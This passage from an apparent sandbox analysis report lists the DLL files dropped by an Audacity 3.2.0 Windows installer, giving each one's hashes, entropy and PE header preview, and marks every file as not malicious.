SHA-512:	CE3B7277F9DB82A5C9779514891010BD6E62E407DCE1521CCD38C49697B8757443755674073B7DA5EF4BCB9D8FA5A8344F516B7DF6BE9DF89DDAFAA825B0721D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ld.."7.."7.."7...7.."7..&6.."7..!6.."7..'6.."7..#6.."7B.#6.."7..#6.."7..#6.."7..#7.."7..'6.."7.."6.."7...7.."7.. 6.."7Rich.."7................PE..d....,c.........." ...!.H..........................................................=#....`.................................................P>............... ..(....R.../..........P...8................... ...(....~..@............0..P............................text....G.......H.................. ..`.rdata..P....`.......L..............@..@.data...."..........................@....pdata..h.... ......................@..@.idata...L...0...N..................@..@.tls.................@..............@....00cfg..u............D..............@..@.rsrc................F..............@..@.reloc...............L..............@..B........................................................................................................

C:\Program Files\Audacity\is-VMF33.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59880
Entropy (8bit):	4.706981024682892
Encrypted:	false
SSDEEP:	384:dwU1wQRwL30UcNM9M9WHSCFKU7X4+/GnZpwKANynss2m/8E9VFyX1RWZi:dwUNSYCFKU7IQ9nmkEYXD
MD5:	093269C1AE6867EC33F90D5DE556FEA9
SHA1:	EC15B387AA885C0BCC01F854C608B8399884537F
SHA-256:	822706B376EDE878DB5F621027FBC3D8B5B0AA8F5435886D5E857C1901E46B99
SHA-512:	68BDBE37432357820D9F979AAE01F9A1942940DF7B152C0454E0051B5ADF6EF24E35F830333A3F811A2C7B5969E730AE42EFF61A0BF3B700031BE39AAC32220C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............W...W...W..'W...W}.V.W}.V...W}.V...W}.V...W...V...W...W..Ws.V...Ws.V...Ws.KW...Ws.V...WRich...W........................PE..d...a.,c.........." ...!.d...X............................................................`.........................................@.......x...........<................/......X.......8...........................`...@...............x............................text....c.......d.................. ..`.rdata..5*.......,...h..............@..@.data...I...........................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...<...........................@..@.reloc..............................@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-audio-devices.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202216
Entropy (8bit):	5.227672588190247
Encrypted:	false
SSDEEP:	3072:VwuUXSmI6J82fOob9bUlEgh2EksDifvnhb:VwurMBbUf0EksD+vnx
MD5:	61F3B31C9AFD1329491E79CEECAA4307
SHA1:	539D836831C23C783D9011B2B81B7DC4173AC516
SHA-256:	94213EA6462F6868F428B2CD2617676D5A41E050F796E6227686751A98253AC1
SHA-512:	ADE5AD43B4FA3393EA0F42EC0727C5582615963C4203743E58AA7187DD7F53A489BD47F2C6372BF4EDC325BB467B1A529BCD196237BAF6AC9ACCEB2A94A6BF38
Malicious:	false
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...........Bgb.Bgb.Bgb.K..Jgb.....Cgb...f.Jgb...a.Agb...g.Ygb...c.Dgb...c.Dgb...c.@gb...c.@gb...c.Egb.Bgc..gb...f.Dgb...g.Fgb...b.Cgb.....Cgb...`.Cgb.RichBgb.................PE..d....,c.........." ...!.....................................................@............`..........................................x..........@.... ..........`......../...0......`%..8............................#..@............................................text...V........................... ..`.rdata..............................@..@.data....(...........\|..............@....pdata..`...........................@..@.idata...-..........................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................

C:\Program Files\Audacity\lib-audio-graph.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	105960
Entropy (8bit):	5.248363360171804
Encrypted:	false
SSDEEP:	1536:SmfzsiTt6Oh7zOQf4Ezz8cH6j2ora7mdrnlX2tz:BzTUJo/7H+2ouqdrnh2x
MD5:	A9B022AA025CF905C47B7B8B5E9D0882
SHA1:	F5B1A647D3979154C9E991CB18259BF437B80230
SHA-256:	D7C73B5FA1EDDAD4CAB123A1BC8FD16254102D4B1B349FE49572A6E9E01E0308
SHA-512:	5FD918BB52FC55CC837831BA9DF3095DB13DBBBE1423D5374363DD85AA34916A5C7969E83E7CC5A207FB316EFACDEE8AA083F626DD0AE084730CD92618EA2A24
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..^\|.l.\|.l.\|.l.u...x.l...i.j.l...h.t.l...o...l...m.z.l...m.~.l...m.~.l...m.y.l.\|.m.J.l...i.y.l...l.}.l....}.l...n.}.l.Rich\|.l.................PE..d.....,c.........." ...!.................................................................`..........................................8.......u...............`..`....n.../..........@...8...............................@............p...............................text............................... ..`.rdata...F.......H..................@..@.data........P.......<..............@....pdata..\|....`.......B..............@..@.idata..G....p.......N..............@..@.00cfg..u............b..............@..@.rsrc................d..............@..@.reloc..G............j..............@..B................................................................................................................................................

C:\Program Files\Audacity\lib-basic-ui.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	4.421509482976633
Encrypted:	false
SSDEEP:	384:FEEN+jxHrmUjVpysr22Q4Y0XukaSNfmMe9/eRcthgx4GGau6BlR979OFIg+3lpwV:KvHKujfmrFKx4UTpOFC8nmkEYXOY
MD5:	C158FF1B1B4A087A190B0B72D585B35B
SHA1:	B76A2D893D263583432F33B80DA8B028C2848778
SHA-256:	7C82E96F1CA03F31F2F695F0264E6D9FF825B837EE3BD6291726F549B39A6F19
SHA-512:	BBDC5EF13FC475D25DF524751E8A2AA5801A12FE389B6B32948EA70498B2F995027497DE02F5093049D168D3C6B6BDDB09DCA2052A649F1269D5619CF36A6F7C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........5.{.f.{.f.{.f..7f.{.f9..g.{.f9..g.{.f9..g.{.f9..g.{.fj..g.{.f:..g.{.f7..g.{.f.{.f.{.f7..g.{.f7..g.{.f7.[f.{.f7..g.{.fRich.{.f........PE..d...[.,c.........." ...!.....b...............................................@....../.....`.......................................................... .................../...0......0...8...............................@............................................text...o........................... ..`.rdata.../.......0..................@..@.data...............................@....pdata..<...........................@..@.idata../...........................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\lib-cloud-audiocom.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	242152
Entropy (8bit):	5.439059169311883
Encrypted:	false
SSDEEP:	3072:oUIkQJT4nyUEkPyAiHq5iofj88lkENqenhXP:LIkQJ6qkPm398lkENqenBP
MD5:	092691BF2835781EB0A7B86322844EC4
SHA1:	3AFA09FFB1BC28F9874435E145498AA9147456AB
SHA-256:	CFF67930CB34C97DE4523A30C6EC321A252733B54D2AF50E1D1AFA1355EDEBBE
SHA-512:	8847A1E0453CACB71BFE22F8ECE3FE55BF0629B9E76A1EDB4659C49802D8543C98444BA7100E586295283D72E579CB8BC6316DE3FD28B1A4CEEF59E4D8B34456
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........-.o~.o~.o~...~.o~i.j..o~i.k..o~i.l..o~i.n..o~:.n..o~j.n..o~g.n..o~.n~d.o~g.j..o~g.o..o~g.~.o~g.m..o~Rich.o~........PE..d....,c.........." ...!.$...j......(................................................Y....`.........................................p....$..@...@............`..\|......../..........@q..8................... w..(....o..@...............@............................text...3#.......$.................. ..`.rdata..w....@.......(..............@..@.data....P.......B..................@....pdata.......`......."..............@..@.idata...3.......4...:..............@..@.tls.................n..............@....00cfg..u............r..............@..@.rsrc................t..............@..@.reloc..)............z..............@..B................................................................................................................

C:\Program Files\Audacity\lib-cloud-upload.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71656
Entropy (8bit):	4.430400520296577
Encrypted:	false
SSDEEP:	384:USemaikxpHmBsWXZH3m7R0viKGD7UdrAgy8HaP8kwSfZT8KcK9JVpwKANynss2m0:UXNQxW7dgZO8kwqZDX9KnmkEYXFP
MD5:	064B9182BBCB89335358B178635A8A98
SHA1:	56C7AB698DC6DB13B2C2F32F0AFACCFE7A764C60
SHA-256:	7F8C253CC4A3D83287910E7B6FC19ECF83CBF69488ED9BE8846C78202C98017A
SHA-512:	9F87178427C3335A7171EBE802A996F7D093AC45B5CAC013C855B4B9B3DB8B07270B495AA94565E7815955F865C8E0AD48A420C658A54EC3ED66A4C76691197C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.{.2.(.2.(.2.(.J0(.2.(.I.).2.(.I.).2.(.I.).2.(.I.).2.(J@.).2.(.2.(.2.(.I.).2.(.I.).2.(.I\(.2.(.I.).2.(Rich.2.(........PE..d...a.,c.........." ...!.....\...............................................0............`.............................................}... ............................/... ..h.......8...........................0...@............... ............................text...W........................... ..`.rdata..],..........................@..@.data...............................@....pdata..<...........................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\lib-components.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	115176
Entropy (8bit):	4.985112592523774
Encrypted:	false
SSDEEP:	1536:COTA8lcan/2Xb0kFzm1w+FwFlr9mEnlX3JQ:COTHROXb091+AEnh3JQ
MD5:	8D26FC6F6F5AEDE0B909EF6831E3C9E1
SHA1:	AC699BFD23CAC17003C6921573FE19635F416B3F
SHA-256:	1D7C94FA40891A70117CA297E59822B75E4458F782B4ADA956E9982A4C60F3F8
SHA-512:	780754ACCDE9E2CF98B9C89B631F6F7FDBD32CFDEBDE1096700282605EF66826CB7895CDC75F8421E63D316CBC90B9F9E87ABDCE3E2A170A13CBFAF7700506C9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>...P...P...P......P.@.Q..P.@.U..P.@.T..P.@.S..P...Q..P.C.Q..P.N.Q..P...Q.R.P.N.U..P.N.P...P.N....P.N.R...P.Rich..P.........PE..d..._.,c.........." ...!..................................................................`..........................................&.../..(...................t......../......L.......8.......................(.......@...............(............................text............................... ..`.rdata...u.......v..................@..@.data...Y....`.......D..............@....pdata..T............L..............@..@.idata..s).......*...V..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..C...........................@..B................................................................................................................

C:\Program Files\Audacity\lib-exceptions.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	78312
Entropy (8bit):	4.917179380334017
Encrypted:	false
SSDEEP:	384:QRRYHr/pvBXqrBbzdMMXkBgoTBSO6FzqKlop0y9UwDcn3LWuZDBy4dgXe1FgOr/2:pHnIg9U6ELpn1qACRFYnmkEYXRDy
MD5:	D5028BD6978B61E0EE8F28C28ACDCB6E
SHA1:	D4568C500A6D5E772A5C023C4D3149E3DDE3FFEC
SHA-256:	15E930FCF90FF47C322A825B425085B842C92B39EC7CBF70CBEB237A7C8D8C30
SHA-512:	6B7F088F0E5D647AD2139DE0F54D2A255F543F39A2B6B0B80247B02A49F390202929C5EA3B64C7E5D5644F5354E258F2A71953E3BD5C7655B7D53A4529010CF1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y...=..=..=..4.{.9....(....5....>....;....?....?....8..=..e....>....<.....<....<..Rich=..........................PE..d...e.,c.........." ...!.....~...............................................`......;.....`............................................._...H........@.................../...P..........8...............................@...............H............................text............................... ..`.rdata..?:.......<..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................

C:\Program Files\Audacity\lib-ffmpeg-support.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	308712
Entropy (8bit):	5.167199754452174
Encrypted:	false
SSDEEP:	6144:sFaeToAF79RfFtcoiSp+mlnWLmASM00HF+3eEeuO9HABLxD3b2K730OAIQzJeeVT:sFaBFJeE
MD5:	4AE395BA7C53BAB245DD0DB89B2ACB67
SHA1:	84523464961E617DBEA984719162F5E861CACFC8
SHA-256:	DC0A9F2D11DE37CB70929AF9BB4649890B996EF89FD60BAF6D44959643AD0ACC
SHA-512:	38A4FB43E6E20A4FF4BAA4A78B28E23A5F2DF2D374A7D2019804645E2CFF17A72FAEF4753FC9D82C78E36E07E11A90659C9097A88DC8A09811EA60E5FD923FCD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!...ews.ews.ews.l..cws...v.}ws...w.mws...p.fws...r.cws...r.gws...r.gws...r.`ws.ewr..ws...v.Dws...s.dws.....dws...q.dws.Richews.................PE..d...!.,c.........." ...!............................................................Z.....`..............................................*..0................P.........../......4....^..8....................d..(....]..@...............0............................text............................... ..`.rdata..............................@..@.data...i:.......2..................@....pdata..."...P...$... ..............@..@.idata..F%.......&...D..............@..@.tls.................j..............@....00cfg..u............n..............@..@.rsrc................p..............@..@.reloc...............v..............@..B........................................................................................................

C:\Program Files\Audacity\lib-files.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	164328
Entropy (8bit):	5.003548784517979
Encrypted:	false
SSDEEP:	1536:+/ZPB4tAU9g89LDTufGx9vbz5BQxardAI0DQl+nlXuai:+tPILDT7pKxardAIl+nhuh
MD5:	DC9602567F319D9455DBA2460690ACB9
SHA1:	31BF468C31CDE222AA4906D6B681C2CC4D7669C2
SHA-256:	7B8AF94988E44C94A4B7448DE9047E17DD48D641BC8752FB3F0725BF7B2ADD89
SHA-512:	CE3B7277F9DB82A5C9779514891010BD6E62E407DCE1521CCD38C49697B8757443755674073B7DA5EF4BCB9D8FA5A8344F516B7DF6BE9DF89DDAFAA825B0721D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ld.."7.."7.."7...7.."7..&6.."7..!6.."7..'6.."7..#6.."7B.#6.."7..#6.."7..#6.."7..#7.."7..'6.."7.."6.."7...7.."7.. 6.."7Rich.."7................PE..d....,c.........." ...!.H..........................................................=#....`.................................................P>............... ..(....R.../..........P...8................... ...(....~..@............0..P............................text....G.......H.................. ..`.rdata..P....`.......L..............@..@.data...."..........................@....pdata..h.... ......................@..@.idata...L...0...N..................@..@.tls.................@..............@....00cfg..u............D..............@..@.rsrc................F..............@..@.reloc...............L..............@..B........................................................................................................

C:\Program Files\Audacity\lib-graphics.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	79336
Entropy (8bit):	4.6476692504043635
Encrypted:	false
SSDEEP:	768:r2H1Ran2geUZ82PG5OW/wIUa26bogEinmkEYXw:SDOhWWgEinlXw
MD5:	5028BF3300E5A9A8B0075A7AA05AEE7F
SHA1:	C42B44CE3A83E475B22BBD749A8B23C4D78D2885
SHA-256:	3B9A79013950F8FE7DD0963A3ADF0495AA611B04D4D3873E58D48931A8C37843
SHA-512:	3DB1E223F502F72DB614D59BA348E7485A3594D0370F62F28095453596824C937D649E186955ED93A2A535BCA9EE86D675EB03BA4682B1C4A342DB254DC7303F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q...5..5..5..<...1......!......=......6......3....7......6..5.........4......4....a.4......4..Rich5..................PE..d..._.,c.........." ...!.....................................................p...........`..........................................................P..<................/...`..........8.......................(... ...@............................................text...O........................... ..`.rdata...9.......:..................@..@.data...............................@....pdata..............................@..@.idata..e...........................@..@.tls.........0......................@....00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B................................................................................................................

C:\Program Files\Audacity\lib-ipc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	76776
Entropy (8bit):	4.851412108993184
Encrypted:	false
SSDEEP:	768:9H6feUA2TYjbXYPGFLr4KPlncp6VnmkEYXKV:9a2UGfX3FLr45p6VnlXY
MD5:	9CEE5EB73538A4E2CEF3576146362021
SHA1:	3E0A5C2245D1353907F174716BA09924140FFCC6
SHA-256:	5FE544C060F7FC830895D4FEB87E05812B4F3C2E17223C9784D726FCC640DB72
SHA-512:	40E74C80F35EAEE654BA9495E70940808E8EDF649B82B9404486469F60B19DB4D6557AD859B5AFE5879CBFA22BB2A754245B5358A5839E6E8B708F8D48CE3DCD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hfV.............q......ur......ur......ur......ur......&{..............{r......{r......{r......{r......Rich............PE..d...e.,c.........." ...!.....n...............................................`............`.........................................@...X...H........@..<................/...P......@...8...............................@...............H............................text............................... ..`.rdata...5.......6..................@..@.data...)...........................@....pdata..............................@..@.idata..v...........................@..@.00cfg..u....0......................@..@.rsrc...<....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\lib-math.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	355304
Entropy (8bit):	5.675729174663447
Encrypted:	false
SSDEEP:	6144:TBC3yn0TSRq24YWtpQf09sbS92+LZ33nv:IH/v
MD5:	CD7C6B414B5814AA469473572EF0129C
SHA1:	152CAAC8F31E5342B7BB0E37F6999BFF904701A6
SHA-256:	9FEF6CDEA7B899CC7ED53B01CE64EF3011AAE6EC250118DB172EBFE582777956
SHA-512:	6B982FC3EE99DEBF08955A22C2E92E52DD73505259003A355D0B58E642B5B62B274D6E4B83E5F404CA74E8C8CBB5C8B3D45A971B6CF307127E878FC18BF1268F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&yM.G...G...G...?...G..1<...G..1<...G..1<...G..1<...G..b5...G..2>...G..?<...G...G...G..?<...G..?<...G..?<...G..?<...G..?<...G..Rich.G..................PE..d....,c.........." ...!.....D......(.....................................................`.........................................@...^....I..@................#...<.../...........j..8................... r..(... i..@............@...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata...'.......(..................@..@.idata..^#...@...$..................@..@.tls.........p.......$..............@....00cfg..u............(..............@..@.rsrc................*..............@..@.reloc..1............0..............@..B................................................................................................

C:\Program Files\Audacity\lib-module-manager.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	315880
Entropy (8bit):	5.399774423370916
Encrypted:	false
SSDEEP:	6144:h2C9uwKCGp66BDCfRii3iUx9g34eQ0M7H21Z3sZoVGAvYNne:QC99KCF3jH21JAQce
MD5:	5F59492FEFA0BCFFA28C48ECE61D982A
SHA1:	834F63D8782F0CFFDFE718CA98F00BE2F2751B7D
SHA-256:	9BFA4054481DBFE089D4CD47AF2BCB908CACF2480298FF5460AF2FD7B4A16ACC
SHA-512:	C72A8119E5AC7A895274D6304BC696E78989E9A8BE40128BF30A0523A9EB4F7B9AAD1170FB8F1EBD6A81CDD40E7B7C20267F6EF7EE20CE260D3B634FCF28CE09
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z#..>B.A>B.A>B.A7:.A6B.A.9.@6B.A.9.@=B.A.9.@$B.A.9.@8B.A.0.@<B.A.;.@<B.A.9.@1B.A>B.AwC.A.9.@7B.A.9.@?B.A.9oA?B.A.9.@?B.ARich>B.A........................PE..d.....,c.........." ...!............<.....................................................`.........................................`...6F...q..T............0.. ......../..........P...8................... 4..(....,..@............`...............................text............................... ..`.rdata..............................@..@.data....$..........................@....pdata... ...0..."..................@..@.idata..[a...`...b...,..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\lib-network-manager.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	225768
Entropy (8bit):	5.366545326426233
Encrypted:	false
SSDEEP:	3072:+RR+D5x63GJx/IWbnWPjP7Ttt7ZJ+Tnhw1:8sDxQDPjP7TbL+Tny1
MD5:	DA6A2794070DA574578D39FC4CB75BD0
SHA1:	3EE29CC43C552E550FAACF13668905C66A00BB10
SHA-256:	D7C210BDBA2FF99785EB1F3D41CB9D60B25DD92205742180BC6495BD5784BCD0
SHA-512:	8732A5CDA0F5B5C8EC3795D447521DF28225915C6E990080D6E1299B88D628074BD4D1A4C13DCCE0988529AB6DA898C125772C8EAE4D73B0408301D8E410C407
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..QX.WQX.WQX.WX `WWX.W.#.VFX.W.#.VYX.W.#.VRX.W.#.VWX.W..VSX.W.!.VSX.W0".VSX.W.#.VVX.WQX.W.X.W.#.VXX.W.#.VPX.W.#.WPX.W.#.VPX.WRichQX.W................PE..d.....,c.........." ...!.....J......#.....................................................`..............................................F..........................B.../......L....+..8....................1..(...`*..@............ ...............................text...;........................... ..`.rdata..B...........................@..@.data....).......$..................@....pdata..P...........................@..@.idata...0... ...2..................@..@.tls.........`.......0..............@....00cfg..u....p.......4..............@..@.rsrc................6..............@..@.reloc..B............<..............@..B................................................................................................

C:\Program Files\Audacity\lib-preferences.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	191464
Entropy (8bit):	5.331478897868557
Encrypted:	false
SSDEEP:	1536:FR5CHgVIEaJBnr5Ck4xkY3m5bytZ0PAE0qXMdVsNoL13YSPoZZXR79GCnlX+Q:kVIk4xkY3mRyL0PAETcVsNol4ZBgCnh5
MD5:	1D5F783A910CCB102E61DC558B2152C8
SHA1:	2980CB0B9B0152901B231D3E952B508375FE6F6E
SHA-256:	06C3871F93963BE1D7455BF87E761DED2C64A6D5C25EDF2DF5AD3D63C948414C
SHA-512:	E9FAA84843086985E03FCAC7564146550432FB1D5AE438B9A5991007F6E8C6C5404EC7736897E7D3795185293B39FACF7F70434F5D10DCE947EB811AF2FE7D7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.(...{...{...{.r0{...{.q.z...{.q.z...{.q.z...{.q.z...{Rx.z...{.s.z...{.q.z...{...{...{.q.z...{.q.z...{.q\{...{.q.z...{Rich...{........................PE..d...q.,c.........." ...!.....0............................................... ...........`.............................................y]............................../..............8................... ...(.......@............................................text...f........................... ..`.rdata..............................@..@.data........p.......T..............@....pdata...............d..............@..@.idata.../.......0...z..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..W...........................@..B................................................................................................

C:\Program Files\Audacity\lib-project-history.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131560
Entropy (8bit):	4.969185559500234
Encrypted:	false
SSDEEP:	1536:iALv5lReeZOoVGJADhoFL8VqS2nlXQLq9:HRPuoVLOoqS2nhOq9
MD5:	F8254E6C89809BB49847C6F88BCFE980
SHA1:	4757982F3A908863FB942A3B753B6F8CFCFE3E55
SHA-256:	7355922CF09D5967173FDFC1EE2693861E0A53D515B147073269A05BAEA80899
SHA-512:	5BCCEB14B9CE39A90F26AB5BF0BB8CD71D994A4BAEAEEBEE382593CD7C0EC2B845AB627209B67DC7AA41B4546CCB927446F0B596754AC47F647B0C4966A2CF1B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.z....O...O...O...O...O...N...O...N...O...N...O...N...O...N...O...N...O...N...O...Ou..O...N...O...N...O...O...O...N...ORich...O................PE..d.....,c.........." ...!.....................................................0.......i....`..........................................k......@...T...............X......../... ..@...`3..8....................8..(....1..@...............@............................text............................... ..`.rdata...i... ...j..................@..@.data................t..............@....pdata..............................@..@.idata...*.......,..................@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................

C:\Program Files\Audacity\lib-project-rate.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	106472
Entropy (8bit):	4.759764684156474
Encrypted:	false
SSDEEP:	768:oMKDTNuHWHWHbezSGLBd/qaYqYX+aKPV0A8nmkEYXteq:oFD7SMBVqZfC0LnlXteq
MD5:	7175B6D2A2543A4FF04394AB8958DC22
SHA1:	C8B9FB678A84BE486A8CA7818806C969C78E1916
SHA-256:	20D415167846DE16CA9BF1298ADE600B33CC0ABB1AB2B6F4406E8BE56EC362F6
SHA-512:	0994D95CA965D8FAA86D7B3A3F44525B909D5B7425624E08B6772508524B2C9B58C85F6A201B36B25621F4D1B7945119E232E674FCFDE46926F733D7D7BD90AF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................P....v......v.......v.......v......%.......u.......x.............x.......x.......x.<.....x.......Rich............................PE..d.....,c.........." ...!..................................................................`..........................................%.......x..@............`.......p.../......\|...p...8...............................@............p...............................text...R........................... ..`.rdata...J.......L..................@..@.data....&...0......................@....pdata.......`.......2..............@..@.idata...'...p...(...<..............@..@.00cfg..u............d..............@..@.rsrc................f..............@..@.reloc..0............l..............@..B........................................................................................................................................

C:\Program Files\Audacity\lib-project.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122856
Entropy (8bit):	4.924108808912473
Encrypted:	false
SSDEEP:	768:6Cbb5lhAHAXgKHWHyCaNob4Cjz+IgJRSPDS5K1pNYY4/o4BuTsApvnmkEYXJ:KQbNobPjz+IERemuTsApvnlXJ
MD5:	07489500E6EF2C1F5DC5171FF0F2FC31
SHA1:	DBF9EB2A3C936829B21C3AA4846FC65C4343B1D2
SHA-256:	DEE7031D0B1DE43E011B404E5705BCB7C791A9A235FB2C7A3D0A4CAD6452C7A6
SHA-512:	52C5012697B82A850C9FDC187FD5C56B7E106E0509E8FAC27EF78620AAED560CE46FEB137235183EC8DDA5D92F09430D35055356FDC1272534ED49F9D087729E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d6...X...X...X..}...X.]~]...X.]~\...X.]~[...X.]~Y...X..wY...X.^\|Y...X.S~Y...X...Y...X.S~]...X.S~X...X.S~....X.S~Z...X.Rich..X.........................PE..d.....,c.........." ...!............................................................).....`..........................................5...1.............................../...... ...P...8.......................(.......@............................................text............................... ..`.rdata..xw.......x..................@..@.data...Y....p.......Z..............@....pdata...............l..............@..@.idata..Z$.......&...z..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\lib-registries.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134120
Entropy (8bit):	5.064411087679797
Encrypted:	false
SSDEEP:	768:kJg3MBiED1qL4qf4pWGiERthk/vH6J5pOgiaxWgDQ4CiYjzaGFQrbH0JhmBHFK0u:I5xA4WGHR3fMg7Q4kJ8xFK0xvnlX19S
MD5:	31C217891F63691E007D0EE267B1D8E1
SHA1:	A118A276B866E9EEB5605373467598BEBAFD7574
SHA-256:	2AFF294A0E67CD38748433776489E87C0E0C69984F9A2350D32D7A73637876F7
